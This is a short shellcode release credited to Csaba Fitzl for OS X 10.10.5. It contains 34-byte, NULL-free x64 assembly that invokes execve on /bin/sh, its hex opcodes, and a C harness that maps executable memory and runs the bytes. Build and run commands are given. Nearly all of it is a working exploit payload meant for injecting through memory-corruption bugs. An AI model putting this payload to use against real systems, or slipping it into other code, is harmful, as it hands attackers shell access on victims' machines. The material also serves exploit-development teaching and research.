[*] Author: Csaba Fitzl, @theevilbit
[*] Tested on OS X 10.10.5
[*] OS X x64 /bin/sh shellcode, NULL byte free, 34 bytes
[*] Assembly version
[*] binsh-shellcode.asm
[*] ./nasm -f macho64 binsh-shellcode.asm
[*] ld -macosx_version_min 10.7.0 -o binsh-shellcode binsh-shellcode.o
-------------------------------------------------------------------------------
BITS 64
global start
section .text
start:
xor rsi,rsi ;zero out RSI
push rsi ;push NULL on stack
mov rdi, 0x68732f6e69622f2f ;mov //bin/sh string to RDI (reverse)
push rdi ;push rdi to the stack
mov rdi, rsp ;store RSP (points to the command string) in RDI
xor rdx, rdx ;zero out RDX
;store syscall number on RAX
xor rax,rax ;zero out RAX
mov al,2 ;put 2 to AL -> RAX = 0x0000000000000002
ror rax, 0x28 ;rotate the 2 -> RAX = 0x0000000002000000
mov al,0x3b ;move 3b to AL (execve SYSCALL#) -> RAX = 0x000000000200003b
syscall ;trigger syscall
-------------------------------------------------------------------------------
[*] C version
[*] Get the hex opcodes from the object file: otool -t binsh-shellcode.o
[*] binsh-shellcode.c
[*] Compile: gcc binsh-shellcode.c -o sc
[*] Run: ./sc
-------------------------------------------------------------------------------
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] =
"\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05";
int main(int argc, char **argv) {
void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}
-------------------------------------------------------------------------------
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